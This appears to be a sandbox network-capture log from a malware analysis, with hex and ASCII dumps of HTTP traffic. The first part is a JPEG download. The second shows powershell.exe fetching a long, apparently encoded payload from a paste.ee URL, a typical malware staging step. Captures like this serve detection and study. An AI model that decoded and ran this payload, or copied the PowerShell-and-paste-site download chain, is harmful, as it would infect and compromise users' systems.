2025-04-28 11:24:35 UTC	582	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Mon, 28 Apr 2025 11:24:35 GMT Content-Type: image/jpeg Content-Length: 3172652 Last-Modified: Sun, 13 Apr 2025 17:38:51 GMT Connection: close ETag: "67fbf6ab-30692c" Strict-Transport-Security: max-age=15724800 Expires: Mon, 28 Apr 2025 17:24:35 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2025-04-28 11:24:35 UTC	15802	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 08 70 0f 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 07 08 ff c4 00 47 10 00 02 02 01 03 02 05 02 04 05 03 04 01 01 02 0f 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 32 71 14 81 91 a1 06 23 42 b1 c1 52 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222p"G!1A"Qa2q#BR
2025-04-28 11:24:35 UTC	16384	IN	Data Raw: 19 25 ba 75 52 e4 39 e3 12 40 04 ac 07 4c 8b c3 71 85 c7 17 82 26 4c 18 fb 7d 17 8a 2e 0c 38 32 43 87 b9 e7 22 8b e4 0c 94 32 09 b4 93 40 64 2a 47 5c 68 da 9f 93 43 df 0c 8c 09 a0 70 39 d6 ab c7 0e 57 13 27 5c 42 1e 49 39 3b 64 e9 93 f2 c9 27 18 7b 56 0e d8 72 49 58 32 1c 87 a6 49 30 de 0c 35 92 0c 9d f1 95 4b 5d 60 ae 72 49 b7 05 0b cb 01 1c e2 1e 09 c9 06 42 30 8c 99 20 ba ed 78 0e 36 0e 9d 72 42 70 63 05 e2 fb 60 ac 90 0c 1c 9b c6 ba c0 39 c9 06 5d 0c 5e 60 3f 02 f2 ac b2 29 5a 2b 23 9b 19 22 95 da 4d f1 8a 79 c7 77 2f 89 8a 42 6b a6 4c 99 3a e0 93 06 4c 99 11 dc 47 4c 85 89 c1 57 90 82 0d 1c 92 64 c9 f9 64 c1 26 4e f8 70 64 92 b2 64 c9 d3 24 95 93 27 7c 9d 32 48 70 61 ed 83 24 9d b0 82 6a b0 64 c9 26 1c 19 32 42 38 c8 72 58 c1 92 1b e3 06 4c 98 a3 c2 Data Ascii: %uR9@Lq&L}.82C"2@d*G\hCp9W'\BI9;d'{VrIX2I05K]`rIB0 x6rBpc`9]^`?)Z+#"Myw/BkL:LGLWdd&Npdd$'\|2Hpa$jd&2B8rXL
2025-04-28 11:24:35 UTC	16384	IN	Data Raw: cb 59 a9 65 8a 2d b1 c5 65 58 8d f6 3a ff 00 ce 71 e5 9c c8 3f 0e 8c 3c 95 62 54 10 07 ef f9 67 59 26 39 5e 57 58 ca 12 69 af 81 db 14 8d a0 d7 7e 0f ce 3c a5 96 4a 5a e9 d4 73 8c bc d9 20 f4 e3 8c ce 1d 52 0e db 52 01 1f db 13 69 be 96 32 e7 49 05 2b 72 07 4a 18 a2 f6 ed 3f 96 66 b5 01 08 fa 4f 23 1c a4 88 b6 0d 0e 98 d1 43 52 28 3c df 6c ea 3e 92 1d 34 90 4d 3d 18 98 fa 90 1e 7a 63 26 b3 79 48 e2 1d c4 d1 c7 40 15 49 23 b6 33 6c bb e6 ba f3 8a aa 4d 91 c6 67 1a 94 b4 7b 91 c6 32 33 a3 6e 8c 90 df 18 c6 34 08 ac 58 f3 76 3d b1 55 4b 48 06 e0 aa 7b b1 a1 96 55 ed 7c 24 79 ea 67 53 b4 f2 40 f6 c6 7f 2a 68 8e c4 08 db ac 5f 61 99 86 e7 60 a0 8b aa eb 8c db 95 42 d1 04 73 9b ff 00 ac e1 76 38 6e c6 81 34 32 05 46 07 76 ef 8a c0 19 87 51 c9 ef 96 aa b3 30 fe Data Ascii: Ye-eX:q?<bTgY&9^WXi~<JZs RRi2I+rJ?fO#CR(<l>4M=zc&yH@I#3lMg{23n4Xv=UKH{U\|$ygS@*h_a`Bsv8n42FvQ0
2025-04-28 11:24:35 UTC	16384	IN	Data Raw: 21 ab 21 37 db 06 58 ab 63 24 30 ca 62 56 1e e2 b2 a2 6f 9c 66 15 82 b1 4d 09 14 4d 16 e6 6a 39 51 55 0e 42 9b 18 97 ec 71 95 b6 f6 cb 0d bb 30 2c 93 91 6a f1 e2 4f 32 40 2e b1 18 6d 62 06 4c a3 7d f1 70 e0 c8 8f 6c 23 06 41 90 12 6b 18 72 79 e7 17 27 4c 74 0d 8c 1d 72 75 e7 25 64 93 26 1f cf 21 eb c6 49 06 4c 9d 39 c9 92 4c 35 47 e7 25 e4 38 c0 9d f1 e3 20 48 a7 14 fb e2 f7 c5 35 6a 18 b5 55 1f b6 66 00 a9 ef 7f 7c b1 14 b1 17 92 64 d8 46 17 14 d8 ab a9 e9 c6 4e d8 45 64 cb 0a 60 3f 38 7a e0 ef 90 11 cf 19 3b e4 ae 32 64 92 b2 5f 19 2c e1 19 20 bb c3 47 8c 70 83 6d d6 25 f1 88 10 48 e4 e3 a4 a5 14 81 d4 e2 28 2c 40 cb 67 8b c9 70 3e d8 a5 40 1b bf 7c 20 1e 07 7c 19 2e 87 ce 49 6c 8a 05 51 ed 95 9e 30 86 e3 21 62 d4 2b a7 b6 20 3b 64 ed 87 69 14 18 10 72 Data Ascii: !!7Xc$0bVofMMj9QUBq0,jO2@.mbL}pl#Akry'Ltru%d&!IL9L5G%8 H5jUf\|dFNEd`?8z;2d_, Gpm%H(,@gp>@\| \|.IlQ0!b+ ;dir
2025-04-28 11:24:35 UTC	16384	IN	Data Raw: a3 e4 75 fd 33 4f 88 fe 0b f0 89 16 97 4f 22 ea 5e 81 2f 60 0a ae 97 d7 be 73 f5 09 24 30 95 92 48 99 88 b0 51 c1 af d3 2e 56 55 2f 4c 73 6c 77 d8 ab b8 b7 4a f7 ce 9f 85 49 bb 50 35 05 36 c6 1c 03 5e ff 00 f0 65 9f c3 85 a0 f1 15 0f a7 f3 a3 90 ec b2 bd 0f 1c 8f d3 3a 32 7f 0e eb 5f f8 80 c6 b5 1c 12 10 6f b5 70 0f e7 99 37 97 d3 7e b8 2e af 4c 59 64 8c ee 5a 16 dc 74 cf 13 a9 85 52 77 88 b2 d8 3c b0 3c 67 a1 f1 9d 34 de 19 ac 5d 2e 9d ac ed 26 89 f8 1f ef 9e 6a 61 21 67 66 07 71 3e a2 47 43 92 e0 dc 1b f0 da 60 bc 39 65 0d 60 f4 cc ae 47 9a 4a 8d a7 1a 06 09 a7 76 71 b8 8e 79 35 f9 62 b4 fe 6c e5 be 9a f8 c7 1a d6 bd 31 1a 8d 25 3b 90 14 dd 0e dd 70 6a 34 c7 d1 3f 0d 1b 82 00 5e 4f 1c 65 11 c9 22 bc 66 22 37 21 e1 7f 3b fc f0 c9 34 ab c9 62 af 64 d5 7b Data Ascii: u3OO"^/`s$0HQ.VU/LslwJIP56^e:2_op7~.LYdZtRw<<g4].&ja!gfq>GC`9e`GJvqy5bl1%;pj4?^Oe"f"7!;4bd{
2025-04-28 11:24:35 UTC	16384	IN	Data Raw: 2c 9c b3 e8 b1 c0 1e d8 0c 9b 78 5f d7 0c 51 1a 3a e3 ea 23 be 56 cb c6 58 8c 45 1e a2 f9 c8 63 b2 48 bc 2c fc 3b fa a8 5d f0 39 c8 88 59 b8 c6 e2 ea b9 cb 13 ad 74 1d ce 1f 7d 9b 4a b1 10 6d 88 e3 24 86 db 91 c0 f7 c0 cf b8 f1 c6 56 4f 27 be 6a d9 3a 82 4b 7d 99 69 9b 8e 06 42 5b d4 41 a1 88 18 8e 9d 71 c3 03 f5 74 cc eb 58 0a 0b 37 06 eb 25 57 42 0e 0d fc 52 8a f9 c5 27 9e 72 e9 76 b0 b0 20 12 2c e1 43 68 dd 6c f6 ca cf d5 ef 80 93 78 69 c3 10 54 ee 1f b6 42 ef 23 70 3b 76 c3 e6 1a a2 01 c9 e6 11 f4 8a f7 ca e2 20 e1 a8 f0 71 88 07 9e 01 c1 bb a5 e4 1c f2 3a e5 12 74 3d 3a e5 91 9d cc 17 df a7 c6 03 44 0f 7c 11 37 97 28 60 01 03 19 ec 7b 87 5f 44 81 c8 e8 7b 65 92 28 6b 71 cf 17 78 03 c6 c6 f7 32 92 3b 0c b7 cb 15 4a cb 47 b1 3c e7 49 3e 98 b5 8d ba f1 Data Ascii: ,x_Q:#VXEcH,;]9Yt}Jm$VO'j:K}iB[AqtX7%WBR'rv ,ChlxiTB#p;v q:t=:D\|7(`{_D{e(kqx2;JG<I>
2025-04-28 11:24:36 UTC	16384	IN	Data Raw: 7c 1f cc 5b b2 47 c1 c0 48 aa eb 8d aa 44 12 37 db ed 97 fe 20 82 57 68 3e e4 62 25 49 45 4f a8 65 41 7f 9a 2c 8a ef 8f 70 64 ab 26 1f 49 1d fb 0c ab 8a f9 ef 9a 25 4d e7 92 00 03 81 ef 99 ca ed 03 6f 37 d7 33 cb 74 f1 f4 ae d8 1b 5c 8e c5 88 27 b6 33 5a f1 85 45 72 73 15 bd 25 fa 45 fb e1 35 d4 13 78 d2 91 5d 31 18 10 00 c1 16 c9 c9 67 f2 c6 0b cf 38 1e ba 0c 1a 40 d4 08 a1 cf 7c 17 ef 90 29 ee 31 a8 7d f2 ca 00 72 72 cf 2c 91 e9 1c e3 44 00 1c 8f b6 16 6e 6b 37 38 f5 db 36 f6 2b b9 63 31 95 14 71 51 36 73 7f 96 1e f5 ba b2 06 da 3b 1c 64 90 76 53 12 f7 6a e7 11 a3 37 c5 91 ef 8c 5a c5 f7 c8 93 76 38 5c 33 55 00 6f e3 09 af 6b cb df 90 08 e9 95 ed 0c b6 38 c2 f1 33 91 41 24 d8 c6 1c b0 37 44 61 da 83 8b e6 b1 4a b2 9a ed db 0c b1 2c 1a 99 54 9a 72 7e 2f Data Ascii: \|[GHD7 Wh>b%IEOeA,pd&I%Mo73t\'3ZErs%E5x]1g8@\|)1}rr,Dnk786+c1qQ6s;dvSj7Zv8\3Uok83A$7DaJ,Tr~/
2025-04-28 11:24:36 UTC	16384	IN	Data Raw: 7c 9a 8d 40 55 e8 15 12 c2 af 00 71 64 fb 5e 11 6e fa 34 1e 1b a4 d4 f8 74 3e 56 a3 6e bb 7b 29 8d 81 22 4b 34 b5 d8 7e 67 be 27 89 7f 0e 78 bf 83 c7 1b eb f4 86 15 97 e8 3e 62 b5 fe 84 d6 51 e1 7a 77 d4 f8 84 08 93 08 88 70 43 9e c6 ec 57 ce 75 3f 88 7c 63 c4 9e 79 b4 1a 8d 74 9a a8 d1 c8 dd 23 12 54 83 d3 f6 c5 9e f7 1c 44 d3 c8 c1 49 21 54 f0 18 9c 33 33 2e 9d b4 e6 8a 96 dc 5a b9 e9 8a c1 82 8b 24 8e 9f 03 2f 81 e3 fc 39 47 40 c4 9b dc 47 38 f2 b9 1b e1 2d be dd 9f e1 5f e2 4d 1f 80 c7 a9 33 e8 d6 59 dd 6a 39 28 5a f0 78 06 b8 be 33 6f 86 ff 00 13 4f 27 89 48 f1 86 86 39 9c 6e 11 b6 d2 39 3d 48 eb d7 3c 7e a5 87 98 1a b8 3d 2b 2d d2 eb 84 24 a1 e7 77 be 73 e5 7f 1a e3 f1 f1 b6 f9 3d bf 8c 78 7c 5f c5 1f c5 10 f8 7e 8b 5a d2 22 42 0c b2 c8 49 21 fd 56 Data Ascii: \|@Uqd^n4t>Vn{)"K4~g'x>bQzwpCWu?\|cyt#TDI!T33.Z$/9G@G8-_M3Yj9(Zx3oO'H9n9=H<~=+-$ws=x\|_~Z"BI!V
2025-04-28 11:24:36 UTC	16384	IN	Data Raw: 0d 29 ee 7e 31 73 9c 31 b7 f1 1e 1c 9e 18 b1 47 09 6d 46 d2 19 8f 6b ef d3 38 c4 04 b6 24 8a f9 bb f6 ce 86 b6 28 a3 94 3c 52 06 89 97 8a 15 46 87 f9 ca 35 1e 1f 34 50 45 21 da 7c d0 48 07 9a aa ff 00 7c 94 8a f4 9a 76 d5 ca 91 86 54 26 c9 76 a3 5c 65 12 87 09 b8 d9 40 2d 4d d6 ec b6 3d 26 a6 12 b4 8c cc ca 1b 69 60 6c 1c 71 03 f9 4b e6 c8 49 53 b7 ca 26 ff 00 3f 6c 7e 8f da 26 a8 da ed 99 9d ac 53 b5 f2 7f 3c 2c c1 63 62 20 66 27 ab 5d 81 ef 81 22 26 06 58 91 48 2d c1 3d 47 db 2e 8f 57 2e 9f 4c d0 85 42 b4 6c 91 8e 8c 59 06 b6 48 f4 41 0d d0 36 51 87 51 da 8e 62 6d 4b cc 1e 44 dd 18 27 69 50 7a 8e d7 8d e6 4b 31 b4 da 69 68 2b 74 f9 ca 61 dc 64 65 91 69 4f 5a f7 c0 ce 30 d1 46 d2 1d a8 ca a4 8b 26 ba 7e 78 ae 49 1b 5a a9 8d 1e f8 c0 6c 2c 11 45 11 fa 8c Data Ascii: )~1s1GmFk8$(<RF54PE!\|H\|vT&v\e@-M=&i`lqKIS&?l~&S<,cb f']"&XH-=G.W.LBlYHA6QQbmKD'iPzK1ih+tadeiOZ0F&~xIZl,E
2025-04-28 11:24:36 UTC	16384	IN	Data Raw: d9 ef f1 9a 83 0a a0 33 cf 5d aa 35 d6 d3 d3 db 31 4c 4a 0e 09 02 fb 66 d7 60 54 7b e6 3d 44 aa 63 a1 41 87 c7 5c 22 8e 1e b0 31 67 94 1b 60 2e ba f1 f6 ce 53 68 63 33 7e 2b 51 22 8d 30 21 88 ef c7 c7 e4 73 d3 e9 15 1f c4 1e 27 08 cb b6 cd af c8 cb 3c 67 c3 74 f3 e8 24 86 38 91 5d 81 aa 00 51 ac f4 70 b8 f2 ff 00 93 cb 2e 3e 55 e2 57 36 ad fc b5 20 33 1d a0 2f 55 ed 95 c5 2c f7 34 a6 70 b2 e9 90 24 6a d4 2f 9a aa f8 19 af c5 0e a7 4b a9 78 a7 45 56 50 00 65 15 c0 ce 74 0b f8 89 9b 83 b4 f3 bc f2 2f 3d 9c 66 c7 cf f9 2a 9d 76 a8 6a 34 d1 c8 59 9f 54 86 9d 4a d5 8f 7f d4 e4 d3 2a 38 91 20 d3 b6 a1 d8 76 b3 b4 fb d7 39 e8 7c 0b c2 74 32 be a4 eb 1c 30 68 eb 9e 36 f2 31 1a 3d 2e 8e 4d 2e 87 c3 e5 45 d4 48 7c af c4 0e 06 d2 7a 9f 7e 6b bf 6c dc b8 f3 de 4e 37 Data Ascii: 3]51LJf`T{=DcA\"1g`.Shc3~+Q"0!s'<gt$8]Qp.>UW6 3/U,4p$j/KxEVPet/=fvj4YTJ8 v9\|t20h61=.M.EH\|z~klN7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49695	23.186.113.60	443	6852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 11:24:37 UTC	70	OUT	GET /d/xZVSQx4S/0 HTTP/1.1 Host: paste.ee Connection: Keep-Alive
2025-04-28 11:24:38 UTC	952	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Apr 2025 11:24:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 124928 Connection: close Vary: Accept-Encoding Cache-Control: max-age=2592000 X-Varnish: 43981049 43611395 Age: 68 Via: 1.1 varnish (Varnish/6.2) Accept-Ranges: bytes Strict-Transport-Security: max-age=63072000 X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
2025-04-28 11:24:38 UTC	15432	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-04-28 11:24:38 UTC	16384	IN	Data Raw: 7a 42 51 56 41 77 46 41 79 42 51 5a 41 4d 48 41 33 42 77 62 41 49 48 41 43 42 41 58 41 49 48 41 6c 42 77 63 41 63 48 41 76 42 67 63 41 49 45 41 77 41 67 4e 41 4d 44 41 63 46 47 41 41 41 43 41 4b 41 51 44 41 30 44 41 39 41 51 50 41 30 44 41 39 41 51 50 41 30 44 41 39 41 51 50 41 30 44 41 39 41 51 50 41 30 44 41 39 41 51 50 41 30 44 41 39 41 51 50 41 30 44 41 39 41 51 50 41 30 44 41 39 41 51 50 41 30 44 41 4b 41 51 44 41 51 47 41 79 42 51 61 41 49 47 41 79 42 51 5a 41 41 48 41 31 42 77 55 41 41 43 41 36 41 67 62 41 38 47 41 70 42 41 64 41 45 47 41 6a 42 51 61 41 77 47 41 77 42 41 63 41 45 45 41 4b 41 51 44 74 42 41 41 68 42 41 64 41 45 47 41 45 42 41 49 41 34 47 41 70 42 77 5a 41 38 47 41 4d 42 41 58 41 51 48 41 73 42 51 64 41 45 47 41 6d 42 51 5a 41 51 45 Data Ascii: zBQVAwFAyBQZAMHA3BwbAIHACBAXAIHAlBwcAcHAvBgcAIEAwAgNAMDAcFGAAACAKAQDA0DA9AQPA0DA9AQPA0DA9AQPA0DA9AQPA0DA9AQPA0DA9AQPA0DA9AQPA0DA9AQPA0DAKAQDAQGAyBQaAIGAyBQZAAHA1BwUAACA6AgbA8GApBAdAEGAjBQaAwGAwBAcAEEAKAQDtBAAhBAdAEGAEBAIA4GApBwZA8GAMBAXAQHAsBQdAEGAmBQZAQE
2025-04-28 11:24:38 UTC	16384	IN	Data Raw: 77 52 58 64 50 4a 32 59 41 51 58 64 77 52 58 64 50 52 45 41 30 56 48 63 75 6c 47 41 30 56 48 63 75 6c 6b 59 77 42 41 64 31 42 6e 62 4a 4a 32 59 41 51 58 64 76 6c 58 59 4d 64 48 5a 41 51 58 64 76 6c 58 59 4d 52 6d 63 68 39 6d 59 35 56 32 53 30 56 32 52 41 51 58 64 50 46 47 64 68 52 45 63 41 51 48 64 30 52 48 64 77 6c 6e 63 6a 56 47 52 41 51 33 63 76 68 55 65 43 4e 48 62 68 6c 47 64 75 56 47 5a 6c 4a 33 51 4a 42 41 64 7a 6c 47 54 6c 78 57 64 6b 39 57 54 6f 42 41 64 7a 6c 47 54 6c 52 32 62 4f 78 57 62 59 42 41 64 7a 56 57 64 78 56 6d 55 69 56 32 56 77 52 6e 52 41 51 6e 63 76 42 48 65 46 64 46 55 6d 5a 32 54 6b 56 57 5a 77 4e 46 41 30 4a 33 62 51 39 46 64 7a 39 47 53 41 51 6e 63 76 42 31 58 30 56 32 63 41 51 6e 63 6c 5a 6e 62 76 4e 45 41 30 4a 58 5a 7a 35 57 Data Ascii: wRXdPJ2YAQXdwRXdPREA0VHculGA0VHculkYwBAd1BnbJJ2YAQXdvlXYMdHZAQXdvlXYMRmch9mY5V2S0V2RAQXdPFGdhREcAQHd0RHdwlncjVGRAQ3cvhUeCNHbhlGduVGZlJ3QJBAdzlGTlxWdk9WToBAdzlGTlR2bOxWbYBAdzVWdxVmUiV2VwRnRAQncvBHeFdFUmZ2TkVWZwNFA0J3bQ9Fdz9GSAQncvB1X0V2cAQnclZnbvNEA0JXZz5W
2025-04-28 11:24:38 UTC	16384	IN	Data Raw: 41 41 51 41 30 75 77 41 41 41 51 41 30 79 51 63 41 41 51 41 30 2b 51 6d 41 41 51 41 30 75 51 4b 41 41 51 41 30 75 51 54 41 41 51 41 30 4f 41 75 41 41 51 41 30 71 52 73 41 41 51 41 30 71 42 42 41 41 51 41 30 2b 67 78 41 41 77 41 7a 75 51 42 41 41 77 41 44 76 52 6e 41 41 77 41 2b 65 79 58 41 41 77 41 33 57 43 32 41 41 77 41 7a 65 67 64 41 41 51 41 30 2b 77 41 41 41 51 41 30 4f 67 77 41 41 51 41 30 79 51 6b 41 41 51 41 30 2b 41 48 41 41 51 41 30 75 43 36 41 41 51 41 30 57 78 4e 41 41 51 41 76 32 43 56 41 41 51 41 38 52 77 36 41 41 51 41 38 52 77 78 41 41 51 41 38 56 77 4b 41 41 51 41 38 56 51 44 41 41 51 41 38 56 67 52 41 41 41 41 55 58 43 43 41 41 41 41 55 6a 79 31 41 41 41 41 47 48 42 44 41 41 41 41 42 44 53 4c 41 41 41 41 6b 79 51 78 41 41 41 41 77 4a 69 Data Ascii: AAQA0uwAAAQA0yQcAAQA0+QmAAQA0uQKAAQA0uQTAAQA0OAuAAQA0qRsAAQA0qBBAAQA0+gxAAwAzuQBAAwADvRnAAwA+eyXAAwA3WC2AAwAzegdAAQA0+wAAAQA0OgwAAQA0yQkAAQA0+AHAAQA0uC6AAQA0WxNAAQAv2CVAAQA8Rw6AAQA8RwxAAQA8VwKAAQA8VQDAAQA8VgRAAAAUXCCAAAAUjy1AAAAGHBDAAAABDSLAAAAkyQxAAAAwJi
2025-04-28 11:24:38 UTC	16384	IN	Data Raw: 69 69 45 41 54 56 31 49 41 41 67 50 34 41 41 41 6b 42 42 41 41 41 41 41 7a 64 6d 62 70 4a 48 64 54 4e 43 41 41 38 43 42 41 41 51 4e 4d 41 41 41 2b 4e 43 41 41 51 44 6f 41 41 41 41 73 42 51 42 41 41 41 41 41 6b 54 4d 7a 41 7a 4d 75 41 6a 4c 30 59 48 41 41 41 41 44 41 41 41 41 41 41 51 41 41 45 67 51 4b 4e 6c 51 41 41 41 41 30 43 46 52 42 42 46 52 42 42 46 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 64 6c 4e 56 5a 6a 4a 58 64 76 4e 58 5a 53 56 57 62 70 52 6e 62 31 4a 6c 4c 7a 56 32 59 79 56 33 62 7a 56 6d 55 75 30 57 5a 30 4e 58 65 54 4e 53 4f 34 41 54 5a 30 4d 54 4f 78 59 54 4e 6a 56 54 59 33 63 6a 59 39 34 57 5a 72 39 47 56 35 56 32 53 6a 6c 47 62 69 56 48 55 67 77 43 62 68 4a 48 64 31 56 6d 62 39 55 6d 63 31 52 48 62 31 4e 45 49 73 41 6a 4c 77 34 43 Data Ascii: iiEATV1IAAgP4AAAkBBAAAAAzdmbpJHdTNCAA8CBAAQNMAAA+NCAAQDoAAAAsBQBAAAAAkTMzAzMuAjL0YHAAAADAAAAAAQAAEgQKNlQAAAA0CFRBBFRBBFAAAAAAAAAAAAAAIAdlNVZjJXdvNXZSVWbpRnb1JlLzV2YyV3bzVmUu0WZ0NXeTNSO4ATZ0MTOxYTNjVTY3cjY94WZr9GV5V2SjlGbiVHUgwCbhJHd1Vmb9Umc1RHb1NEIsAjLw4C
2025-04-28 11:24:38 UTC	16384	IN	Data Raw: 6f 63 41 42 41 41 77 44 2b 74 67 43 41 41 77 52 6f 41 48 41 36 4d 69 63 47 41 41 41 42 6a 43 63 41 6b 54 77 79 5a 43 4c 47 6f 77 41 2b 62 68 43 41 41 51 67 6f 59 42 63 41 55 67 34 79 5a 41 41 41 45 4d 4b 6d 59 41 41 41 45 4d 4b 41 45 42 41 41 6f 44 41 41 41 67 52 41 4d 41 4d 54 45 41 41 41 51 45 45 41 73 4d 78 41 63 41 41 41 41 41 41 51 45 41 41 41 6f 69 42 41 73 69 43 48 41 41 41 65 72 41 41 41 49 46 4b 41 6f 77 45 4b 41 41 41 7a 67 53 4a 51 34 64 35 76 63 52 43 52 6b 77 45 57 58 52 43 52 73 67 43 41 45 77 46 76 42 48 41 35 30 72 63 59 76 52 43 52 63 51 43 54 6f 42 6f 78 67 78 48 47 45 68 42 54 59 39 46 47 45 78 43 4b 41 41 41 4b 68 79 42 4b 41 41 41 7a 2f 32 46 48 45 52 42 52 51 38 4c 57 67 51 45 49 4d 68 31 56 67 51 45 48 4d 52 74 64 68 78 48 48 45 42 Data Ascii: ocABAAwD+tgCAAwRoAHA6MicGAAABjCcAkTwyZCLGowA+bhCAAQgoYBcAUg4yZAAAEMKmYAAAEMKAEBAAoDAAAgRAMAMTEAAAQEEAsMxAcAAAAAAQEAAAoiBAsiCHAAAerAAAIFKAowEKAAAzgSJQ4d5vcRCRkwEWXRCRsgCAEwFvBHA50rcYvRCRcQCToBoxgxHGEhBTY9FGExCKAAAKhyBKAAAz/2FHERBRQ8LWgQEIMh1VgQEHMRtdhxHHEB
2025-04-28 11:24:38 UTC	16384	IN	Data Raw: 62 55 69 6f 77 42 77 45 76 4a 6e 47 6c 49 4b 42 52 6b 52 4a 69 43 48 41 54 55 6c 63 59 55 69 6f 4a 63 52 4a 69 43 48 41 54 38 67 63 57 55 53 41 41 41 77 50 4e 32 52 54 73 77 51 45 4d 4d 78 58 44 34 76 46 4b 41 41 41 42 69 69 46 77 42 51 42 69 4c 58 42 52 4d 67 2f 57 6f 41 41 41 45 49 4b 57 41 48 41 46 49 75 63 45 45 42 41 46 4d 68 42 41 41 41 76 6f 6f 41 41 41 38 31 62 47 41 41 41 56 2f 47 63 41 6f 52 78 79 64 51 45 49 6f 41 41 41 73 4b 4b 41 41 79 4b 41 41 41 41 46 4d 68 42 41 41 51 6c 6f 6b 51 45 4b 41 41 41 66 39 57 42 52 6f 41 41 41 73 4b 4b 57 77 79 43 52 73 77 45 42 34 76 46 4b 45 68 43 54 45 67 2f 55 6b 51 45 4a 4d 68 42 41 41 41 6c 6f 6f 41 41 42 45 77 62 4b 41 51 41 41 38 6d 43 41 41 77 2f 6f 59 77 51 73 67 51 45 49 4d 68 42 41 41 77 6b 6f 55 51 Data Ascii: bUiowBwEvJnGlIKBRkRJiCHATUlcYUioJcRJiCHAT8gcWUSAAAwPN2RTswQEMMxXD4vFKAAABiiFwBQBiLXBRMg/WoAAAEIKWAHAFIucEEBAFMhBAAAvooAAA81bGAAAV/GcAoRxydQEIoAAAsKKAAyKAAAAFMhBAAQlokQEKAAAf9WBRoAAAsKKWwyCRswEB4vFKEhCTEg/UkQEJMhBAAAlooAABEwbKAQAA8mCAAw/oYwQsgQEIMhBAAwkoUQ
2025-04-28 11:24:38 UTC	11192	IN	Data Raw: 4e 63 77 44 73 67 41 44 4b 41 41 41 39 2b 6d 43 41 41 77 75 76 5a 41 41 41 51 41 4b 4c 6f 41 41 41 77 37 62 4b 41 41 41 37 2b 6d 42 41 41 41 42 6f 41 51 45 41 41 67 48 41 41 51 41 73 41 77 41 77 73 42 41 41 41 67 4b 47 41 77 4b 4b 59 41 41 41 4d 47 4b 46 51 77 41 45 41 41 41 73 73 6e 41 41 41 41 41 41 59 41 41 41 34 31 62 47 41 41 41 66 4e 6e 42 41 41 41 62 6f 6f 55 42 43 6f 55 42 43 55 51 45 59 77 53 42 52 55 77 45 45 41 41 41 77 73 6e 41 6c 77 43 42 52 51 77 45 42 34 50 41 41 45 41 42 67 51 77 4d 72 41 41 41 47 41 41 41 65 39 6d 42 41 41 77 58 7a 5a 41 41 41 77 47 4b 4b 56 67 41 4b 56 67 41 4a 63 42 4c 4a 30 41 42 41 41 77 4c 37 4a 41 4a 73 67 41 44 42 34 50 41 41 45 41 41 67 51 41 5a 73 63 77 43 42 34 76 46 44 41 51 45 41 41 51 48 41 41 41 41 42 43 51 Data Ascii: 